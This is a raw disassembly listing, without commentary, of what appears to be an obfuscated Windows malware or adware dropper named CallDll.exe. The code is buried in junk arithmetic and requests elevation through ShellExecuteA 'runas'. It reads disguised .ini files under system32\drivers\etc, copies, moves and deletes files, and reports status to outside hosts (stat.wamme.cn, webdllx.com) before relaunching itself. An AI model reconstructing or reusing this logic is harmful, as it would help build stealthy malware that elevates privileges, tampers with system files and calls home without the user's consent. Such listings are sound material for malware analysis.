mov dword [ebp - 0x100c], 1
mov word [ebp - 0x1008], 5
call fcn.004319f0
mov edx, dword [0x45ecd8]
add edx, edi
imul edi, edi, 0x151f392d
imul edx, edx, 0x5295f78d
mov ecx, eax
add ecx, edx
mov eax, 0x2a215c6f
mul esi
mov eax, esi
imul esi, esi, 0x140cef57
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
sub ecx, eax
lea edx, [ebp - 0x1048]
push edx
lea eax, [ebp - 0x1038]
push eax
push 0
push 0
push 0x20
sub ecx, esi
push 0
sub ecx, edi
lea ecx, [ecx + ebx - 0x6181b446]
push 0
mov dword [0x45ecd4], ecx
push 0
lea ecx, [ebp - 0x214]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4036b8
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov esi, eax
push 0xfffffffffffffffe
mov edi, edx
mov eax, ebx
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecd0]
add edx, ebx
imul edx, edx, 0x79faf08a
push 2
push 0xb57eb16
push edi
sub eax, edx
push esi
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
push 1
push 0xeae0c6d3
push edi
add ecx, eax
push esi
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [0x45ecdc]
add ecx, eax
imul edx, edx, 0x6181b446
mov eax, dword [0x45ece0]
imul eax, eax, 0x2c857103
sub ecx, eax
add ecx, edx
push 0
mov dword [0x45ecdc], ecx
call fcn.0043200a
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [ebp - 0xfb0], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecc8]
mov esi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecd4]
add ecx, eax
imul ecx, ecx, 0x242d3a05
push 1
mov eax, esi
cdq
push 0xb09bfdc4
push edx
push eax
sub ebx, ecx
call fcn.004319f0
mov edx, dword [ebp - 0xfb0]
push 1
push 0xeae0c6d3
push edx
push edi
add ebx, eax
call fcn.004319f0
push 1
sub ebx, eax
mov eax, dword [ebp - 0xfb0]
push 0x86050f76
push eax
push edi
call fcn.004319f0
imul esi, esi, 0x151f392d
mov ecx, dword [ebp - 0xfe4]
push ecx
sub ebx, eax
lea edx, [ebp - 0x114]
push str.C:Program_Files_s
sub ebx, esi
push edx
mov dword [0x45ece4], ebx
call fcn.00431a9a
add esp, 0xc
push 1
lea eax, [ebp - 0x114]
push eax
push 0
lea ecx, [ebp - 0x214]
push ecx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x404733
mov esi, dword [0x45ecd0]
push 1
mov eax, esi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov edi, eax
mov eax, dword [0x45ece4]
push 1
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
sub edi, eax
mov eax, 0x4d7937c3
mul esi
mov eax, dword [0x45ecc8]
shr edx, 0x1e
imul eax, eax, 0x6181b446
add edi, edx
mov edx, dword [0x45ece0]
imul edx, edx, 0x7f4ea4e2
sub edi, edx
push 0
push 0
add edi, eax
push 0
mov eax, 0x2a01e433
push 0
imul esi
push str.http:__Stat.wAmmE.cn_C8c_gL_cnZz61.html_paGehttp:__www.WEBDllX.COM_RUNEXEFAIL
push 0x45ecbc
sar edx, 0x1c
push 0
mov ecx, edx
add edi, edx
mov edx, dword [ebp - 0xfe0]
push 0
push 1
shr ecx, 0x1f
add edx, 0x74
add ecx, edi
push 0x68
push edx
mov dword [0x45ecc8], ecx
call fcn.00444162
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call ebx
jmp 0x403846
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
jmp 0x403846
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x45ecd0]
push 1
mov eax, esi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov edi, eax
mov eax, dword [0x45ece4]
push 1
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
sub edi, eax
mov ecx, dword [0x45ecc8]
mov eax, 0x4d7937c3
imul ecx, ecx, 0x6181b446
mul esi
mov eax, dword [0x45ece0]
imul eax, eax, 0x7f4ea4e2
shr edx, 0x1e
add edi, edx
sub edi, eax
mov eax, 0x2a01e433
imul esi
sar edx, 0x1c
add edi, ecx
mov eax, edx
lea ecx, [ebp - 0xfa4]
shr eax, 0x1f
add edi, edx
push ecx
add eax, edi
push 0x101
mov dword [0x45ecc8], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4038d1
push 0
call fcn.0043200a
push 0x3e8
call ebx
push 0x413c
lea edx, [ebp - 0x314]
push 0x44eb00
push edx
call fcn.00431a9a
add esp, 0xc
lea eax, [ebp - 0x314]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x5615c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4039bd
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [ebp - 0xfb0], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd4]
mov edx, dword [0x45ecc8]
mov esi, dword [str._r_____r____]
add edx, ecx
imul edx, edx, 0x242d3a05
mov ebx, eax
push 1
sub ebx, edx
mov eax, esi
cdq
push 0xb09bfdc4
push edx
push eax
call fcn.004319f0
push 1
add ebx, eax
mov eax, dword [ebp - 0xfb0]
push 0xeae0c6d3
push eax
push edi
call fcn.004319f0
mov ecx, dword [ebp - 0xfb0]
push 1
push 0x86050f76
push ecx
push edi
sub ebx, eax
call fcn.004319f0
imul esi, esi, 0x151f392d
sub ebx, eax
mov eax, dword [0x45ecb8]
sub ebx, esi
cmp eax, 0xffffffff
mov dword [0x45ece4], ebx
je 0x4039b6
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.0043200a
mov eax, dword [0x45ecd4]
cdq
push 1
push 0xeae0c6d3
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.004319f0
push 1
push 0x5295f78d
push edi
push esi
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
add ecx, eax
mov dword [ebp - 0xfa8], ecx
mov ecx, dword [0x45eccc]
mov eax, 0x2a215c6f
mul ecx
mov eax, dword [ebp - 0xfa8]
sub ecx, edx
shr ecx, 1
add ecx, edx
mov edx, dword [0x45ece0]
imul edx, edx, 0x140cef57
shr ecx, 0x1f
add eax, ecx
mov ecx, dword [0x45ece8]
sub eax, edx
imul ecx, ecx, 0x6b66a94
mov edx, dword [0x45ece4]
imul edx, edx, 0x6181b446
sub eax, ecx
add eax, edx
sub eax, dword [str._r_____r____]
sub eax, 0x4f64023c
push 0
push str.C:_WINDoWS_system32driversetC_seRvicE1.ini
mov dword [0x45eccc], eax
call fcn.00431e3d
add esp, 8
cmp eax, 0xffffffff
jne 0x403a7e
push 0
push str.C:_WINDoWS_system32driversEtc_sErvIce2.ini
call fcn.00431e3d
add esp, 8
cmp eax, 0xffffffff
je 0x403a7e
push 0xea60
call ebx
mov eax, dword [0x45ecdc]
push 2
cdq
push 0xb57eb16
push edx
push eax
call fcn.004319f0
mov esi, eax
mov eax, dword [0x45ecd0]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd8]
mov edi, eax
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
mov edx, ecx
imul edx, edx, 0xb57eb16
sub edi, esi
add edi, eax
add edi, edx
mov eax, 0x2a01e433
imul ecx
mov ecx, dword [0x45ecc8]
imul ecx, ecx, 0x5295f78d
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x45ece4]
add eax, edi
add eax, ecx
sub eax, edx
sub eax, 0x6181b446
push 0
push str.C:_WINDoWS_system32driversetC_seRvicE1.ini
mov dword [0x45ecd0], eax
call fcn.00431e3d
add esp, 8
cmp eax, 0xffffffff
je 0x4046c6
push 0
push str.C:_WINDoWS_system32driversEtc_sErvIce2.ini
call fcn.00431e3d
add esp, 8
cmp eax, 0xffffffff
je 0x4046c6
mov esi, dword [0x45ece8]
mov eax, esi
cdq
mov ebx, eax
mov eax, dword [0x45ecd4]
push 1
mov dword [ebp - 0xfcc], edx
cdq
push 0xeae0c6d3
push edx
push eax
mov dword [ebp - 0xfd0], ebx
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0xfb8], edx
call fcn.004319f0
mov edi, dword [0x45ece0]
mov ecx, dword [ebp - 0xfcc]
mov dword [ebp - 0xfc8], eax
mov eax, 0x2a215c6f
mul edi
mov eax, edi
sub eax, edx
push 1
shr eax, 1
push 0xebf310a9
add eax, edx
push ecx
shr eax, 0x1f
push ebx
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [ebp - 0xfcc]
push 2
push 0x6b66a94
sub ecx, eax
push edx
mov eax, ebx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
imul edi, edi, 0x242d3a05
mov ecx, dword [ebp - 0xfa8]
add ecx, eax
mov eax, dword [0x45ecc8]
mov edx, esi
imul eax, eax, 0x151f392d
imul edx, edx, 0x6181b446
sub ecx, edx
sub ecx, eax
mov eax, dword [ebp - 0xfc8]
sub ecx, edi
mov edi, dword [0x45eccc]
sub ecx, eax
push 2
mov eax, edi
cdq
push 0xb57eb16
push edx
push eax
mov dword [0x45ecd8], ecx
mov dword [ebp - 0xfc4], eax
mov dword [ebp - 0xfc0], edx
call fcn.004319f0
mov ecx, dword [ebp - 0xfb8]
mov edx, dword [ebp - 0xfbc]
push 2
push 0xb57eb16
push ecx
push edx
mov ebx, eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfc4]
push 1
sub ebx, eax
mov eax, dword [ebp - 0xfc0]
push 0x86050f76
push eax
push ecx
call fcn.004319f0
sub ebx, eax
mov edx, dword [ebp - 0xfc8]
imul esi, esi, 0x6b66a94
imul edi, edi, 0x140cef57
add esi, edx
mov edx, dword [0x45ecdc]
push str.C:_WINDoWS_system32driverSetc_serViCe5.ini
imul edx, edx, 0x5295f78d
push 0x200
lea eax, [ebp - 0xc14]
push eax
push 0x44ee59
sub ebx, edi
add esi, ebx
push str.ConfigL0
add edx, esi
push str.GameType1
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x44ee59
lea esi, [ebp - 0xc14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4040b4
mov eax, dword [0x45ecd4]
cdq
push 1
push 0xeae0c6d3
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.004319f0
push 1
push 0x5295f78d
push edi
push esi
mov ebx, eax
call fcn.004319f0
mov ecx, dword [0x45eccc]
add ebx, eax
mov eax, 0x2a215c6f
mul ecx
mov eax, dword [0x45ece0]
sub ecx, edx
imul eax, eax, 0x140cef57
shr ecx, 1
add ecx, edx
mov edx, dword [0x45ece4]
shr ecx, 0x1f
imul edx, edx, 0x6181b446
add ebx, ecx
mov ecx, dword [0x45ece8]
imul ecx, ecx, 0x6b66a94
sub ebx, eax
sub ebx, ecx
mov ecx, dword [str._r_____r____]
add ebx, edx
lea eax, [ebp - 0xc14]
push eax
sub ebx, ecx
lea ecx, [ebp - 0x14f8]
push 0x12c
sub ebx, 0x4f64023c
push ecx
mov dword [0x45eccc], ebx
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x4040b4
mov esi, dword [0x45ecdc]
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45ecd8]
add edx, ecx
imul ecx, ecx, 0x151f392d
imul edx, edx, 0x5295f78d
mov edi, eax
add edi, edx
mov eax, 0x2a215c6f
mul esi
mov eax, esi
imul esi, esi, 0x140cef57
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
sub edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [0x45ece0]
lea edx, [edi + ecx - 0x6181b446]
mov ecx, dword [ebp - 0x14f8]
mov eax, ecx
mov dword [0x45ecd4], edx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403dd1
sub eax, esi
cmp byte [ecx + eax - 1], 0x5c
jne 0x403df7
mov eax, dword [ebp - 0x14ec]
push eax
push ecx
push str._s_s
lea ecx, [ebp - 0x614]
push ecx
jmp 0x403e0b
mov edx, dword [ebp - 0x14ec]
push edx
push ecx
push 0x44ed04
lea eax, [ebp - 0x614]
push eax
call fcn.00431a9a
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
add esp, 0x10
mov esi, eax
push 0xfffffffffffffffe
mov edi, edx
mov eax, ebx
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
add ecx, ebx
imul ecx, ecx, 0x79faf08a
push 2
push 0xb57eb16
push edi
sub eax, ecx
push esi
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
push 1
push 0xeae0c6d3
push edi
add ecx, eax
push esi
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [0x45ece0]
add ecx, eax
imul edx, edx, 0x2c857103
mov eax, dword [0x45ecdc]
imul eax, eax, 0x6181b446
sub ecx, edx
add ecx, eax
mov dword [0x45ecdc], ecx
lea ecx, [ebp - 0x614]
push ecx
lea edx, [ebp - 0x414]
push str._s.bak
push edx
call fcn.00431a9a
add esp, 0xc
push 0
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x614]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x614]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [ebp - 0xfb0], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecc8]
mov esi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecd4]
add ecx, eax
imul ecx, ecx, 0x242d3a05
push 1
mov eax, esi
cdq
push 0xb09bfdc4
push edx
sub ebx, ecx
push eax
call fcn.004319f0
mov edx, dword [ebp - 0xfb0]
push 1
push 0xeae0c6d3
push edx
push edi
add ebx, eax
call fcn.004319f0
push 1
sub ebx, eax
mov eax, dword [ebp - 0xfb0]
push 0x86050f76
push eax
push edi
call fcn.004319f0
imul esi, esi, 0x151f392d
sub ebx, eax
lea ecx, [ebp - 0x614]
push 0
sub ebx, esi
push ecx
mov dword [0x45ece4], ebx
call fcn.00431e3d
add esp, 8
cmp eax, 0xffffffff
je 0x404004
mov esi, dword [0x45ecd0]
push 1
mov eax, esi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov edi, eax
mov eax, dword [0x45ece4]
push 1
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
sub edi, eax
mov eax, 0x4d7937c3
mul esi
mov eax, dword [0x45ecc8]
shr edx, 0x1e
imul eax, eax, 0x6181b446
add edi, edx
mov edx, dword [0x45ece0]
imul edx, edx, 0x7f4ea4e2
sub edi, edx
add edi, eax
mov eax, 0x2a01e433
imul esi
sar edx, 0x1c
mov ecx, edx
add edi, edx
shr ecx, 0x1f
lea edx, [ebp - 0x414]
add ecx, edi
push edx
mov dword [0x45ecc8], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call fcn.0043200a
mov eax, dword [0x45ecdc]
push 2
cdq
push 0xb57eb16
push edx
push eax
call fcn.004319f0
mov esi, eax
mov eax, dword [0x45ecd0]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd8]
mov edi, eax
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
mov edx, ecx
imul edx, edx, 0xb57eb16
mov ebx, dword [0x45ece4]
sub edi, esi
add edi, eax
add edi, edx
mov eax, 0x2a01e433
imul ecx
mov ecx, dword [0x45ecc8]
imul ecx, ecx, 0x5295f78d
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, ecx
sub eax, ebx
sub eax, 0x6181b446
lea edx, [ebp - 0x614]
mov dword [0x45ecd0], eax
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x814]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x4040a2
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [0x45ece8]
mov eax, ebx
cdq
mov dword [ebp - 0xfd0], eax
mov eax, dword [0x45ecd4]
push 1
mov dword [ebp - 0xfcc], edx
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov edi, dword [0x45ece0]
mov ecx, eax
mov eax, 0x2a215c6f
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xfd0]
shr eax, 0x1f
push 1
mov esi, eax
sub esi, ecx
mov ecx, dword [ebp - 0xfcc]
push 0xebf310a9
push ecx
push edx
call fcn.004319f0
mov ecx, dword [ebp - 0xfd0]
push 2
sub esi, eax
mov eax, dword [ebp - 0xfcc]
push 0x6b66a94
push eax
push ecx
call fcn.004319f0
imul ebx, ebx, 0x6181b446
imul edi, edi, 0x242d3a05
add esi, eax
sub esi, ebx
mov ebx, dword [0x45ecc8]
mov edx, ebx
imul edx, edx, 0x151f392d
sub esi, edx
sub esi, edi
lea eax, [ebp - 0x814]
mov dword [0x45ecd8], esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404162
sub eax, edi
mov dword [ebp - 0xfa8], eax
jne 0x40417a
push 0
call fcn.0043200a
mov eax, esi
cdq
mov edi, eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [ebp - 0xfb0], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd4]
mov esi, dword [str._r_____r____]
add ebx, ecx
imul ebx, ebx, 0x242d3a05
sub eax, ebx
mov dword [ebp - 0xfa8], eax
push 1
mov eax, esi
cdq
push 0xb09bfdc4
push edx
push eax
call fcn.004319f0
mov edx, dword [ebp - 0xfb0]
mov ecx, dword [ebp - 0xfa8]
push 1
push 0xeae0c6d3
push edx
add ecx, eax
push edi
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
push 1
sub ecx, eax
mov eax, dword [ebp - 0xfb0]
push 0x86050f76
push eax
push edi
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
imul esi, esi, 0x151f392d
mov ecx, dword [ebp - 0xfa8]
sub ecx, eax
sub ecx, esi
mov dword [0x45ece4], ecx
lea ecx, [ebp - 0x814]
push 0
push ecx
call fcn.00431e3d
add esp, 8
cmp eax, 0xffffffff
jne 0x4043cc
mov esi, dword [0x45ecc8]
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov edx, dword [0x45ecd8]
mov edi, eax
lea eax, [ecx + edx]
imul ecx, ecx, 0x151f392d
imul eax, eax, 0x140cef57
sub edi, eax
mov eax, 0x4d7937c3
mul dword [str._r_____r____]
shr edx, 0x1e
sub edi, edx
mov eax, 0x2a215c6f
mul esi
mov eax, dword [ebp - 0xfe0]
push 0
sub esi, edx
push 0
push 0
shr esi, 1
add esi, edx
mov edx, dword [0x45ece4]
push 0
imul edx, edx, 0x6181b446
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.webdllx.com_NotDllx
push 0x45ecbc
push 0
push 0
shr esi, 0x1f
add edi, esi
push 1
sub edi, edx
add eax, 0x74
add edi, ecx
push 0x68
push eax
mov dword [0x45ece8], edi
call fcn.00444162
add esp, 0x2c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov edi, eax
push 2
mov ebx, edx
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0xfb8], ebx
mov dword [ebp - 0xfc4], eax
mov dword [ebp - 0xfc0], edx
call fcn.004319f0
push 2
push 0xb57eb16
push ebx
push edi
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
push 1
push 0xeae0c6d3
mov edx, ebx
push edx
sub ecx, eax
push edi
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
add ecx, eax
push 1
mov eax, dword [ebp - 0xfc0]
mov edx, dword [ebp - 0xfc4]
push 0x86050f76
push eax
push edx
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
imul esi, esi, 0x140cef57
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [0x45ecdc]
sub ecx, eax
imul edx, edx, 0x5295f78d
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
sub ecx, esi
add ecx, eax
add ecx, edx
push 0
push str.C:_WINDoWS_system32driversetC_seRvicE1.ini
mov dword [str._r_____r____], ecx
call fcn.00431e3d
add esp, 8
cmp eax, 0xffffffff
je 0x4043c5
push 0
push str.C:_WINDoWS_system32driversEtc_sErvIce2.ini
call fcn.00431e3d
add esp, 8
cmp eax, 0xffffffff
jne 0x4043cc
push 0
call fcn.0043200a
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0xa14]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4043d8
mov eax, dword [0x45ecd4]
cdq
push 1
push 0xeae0c6d3
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.004319f0
push 1
push 0x5295f78d
push edi
push esi
mov ebx, eax
call fcn.004319f0
mov ecx, dword [0x45eccc]
add ebx, eax
mov eax, 0x2a215c6f
mul ecx
mov eax, dword [0x45ece0]
mov esi, dword [str._r_____r____]
imul eax, eax, 0x140cef57
sub ecx, edx
shr ecx, 1
add ecx, edx
mov edx, dword [0x45ece4]
shr ecx, 0x1f
imul edx, edx, 0x6181b446
add ebx, ecx
mov ecx, dword [0x45ece8]
imul ecx, ecx, 0x6b66a94
sub ebx, eax
sub ebx, ecx
add ebx, edx
sub ebx, esi
sub ebx, 0x4f64023c
push 0x132b600
mov dword [0x45eccc], ebx
call sym.CallDll.exe_int___cdecl_pro_cess5_int_
add esp, 4
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [0x45ece8]
mov eax, edi
cdq
mov ebx, eax
mov eax, dword [0x45ecd4]
push 1
mov dword [ebp - 0xfcc], edx
cdq
push 0xeae0c6d3
push edx
push eax
mov dword [ebp - 0xfd0], ebx
call fcn.004319f0
mov esi, dword [0x45ece0]
mov ecx, eax
mov eax, 0x2a215c6f
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
push 1
shr eax, 0x1f
sub eax, ecx
mov ecx, dword [ebp - 0xfcc]
push 0xebf310a9
push ecx
push ebx
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [ebp - 0xfcc]
push 2
push 0x6b66a94
sub ecx, eax
push edx
mov eax, ebx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
imul edi, edi, 0x6181b446
imul esi, esi, 0x242d3a05
mov edx, dword [0x45ecc8]
mov ecx, dword [ebp - 0xfa8]
imul edx, edx, 0x151f392d
push 0
push 0
push 0
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x45ecbc
add ecx, eax
mov eax, dword [ebp - 0xfe0]
push 0
push 0
sub ecx, edi
push 1
sub ecx, edx
add eax, 0x74
sub ecx, esi
push 0x68
push eax
mov dword [0x45ecd8], ecx
call fcn.00444162
add esp, 0x2c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x45ecdc]
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45ecd8]
add edx, ecx
imul ecx, ecx, 0x151f392d
imul edx, edx, 0x5295f78d
mov ebx, eax
add ebx, edx
mov eax, 0x2a215c6f
mul esi
mov edi, dword [0x45ece0]
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
mov edx, esi
imul edx, edx, 0x140cef57
shr eax, 0x1f
sub ebx, eax
sub ebx, edx
sub ebx, ecx
lea eax, [ebx + edi - 0x6181b446]
mov dword [0x45ecd4], eax
mov dword [ebp - 0xfe0], 0
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov dword [ebp - 0xfd8], eax
push 0xfffffffffffffffe
mov dword [ebp - 0xfd4], edx
mov eax, ebx
cdq
push 0xad6a0873
push edx
push eax
mov byte [ebp - 4], 2
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov edx, dword [ebp - 0xfd4]
add ecx, ebx
imul ecx, ecx, 0x79faf08a
push 2
push 0xb57eb16
sub eax, ecx
mov ecx, dword [ebp - 0xfd8]
push edx
push ecx
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [ebp - 0xfd4]
push 1
push 0xeae0c6d3
add ecx, eax
mov eax, dword [ebp - 0xfd8]
push edx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
imul edi, edi, 0x2c857103
imul esi, esi, 0x6181b446
mov ecx, dword [ebp - 0xfa8]
add ecx, eax
sub ecx, edi
add ecx, esi
push 0x2710
mov dword [0x45ecdc], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xfe0]
cdq
mov ecx, 0x1e
idiv ecx
test edx, edx
jne 0x40469b
push edx
call fcn.0040ed70
add esp, 4
mov eax, dword [ebp - 0xfe0]
mov esi, dword [0x45ecdc]
mov edi, dword [0x45ece0]
inc eax
mov dword [ebp - 4], 1
mov dword [ebp - 0xfe0], eax
jmp 0x4045d2
mov esi, dword [0x45ecdc]
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45ecd8]
add edx, ecx
imul ecx, ecx, 0x151f392d
imul edx, edx, 0x5295f78d
mov edi, eax
add edi, edx
mov eax, 0x2a215c6f
mul esi
mov eax, esi
imul esi, esi, 0x140cef57
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
sub edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [0x45ece0]
lea edx, [edi + ecx - 0x6181b446]
push 0x493e0
mov dword [0x45ecd4], edx
call ebx
push 0
call fcn.0043200a
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x1038]
rep stosd dword es:[edi], eax
push 0x200
lea eax, [ebp - 0xa14]
push eax
push 0
mov dword [ebp - 0x1038], 0x44
mov dword [ebp - 0x100c], 1
mov word [ebp - 0x1008], 5
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x1048]
push ecx
lea edx, [ebp - 0x1038]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea eax, [ebp - 0xa14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 0x404733
ret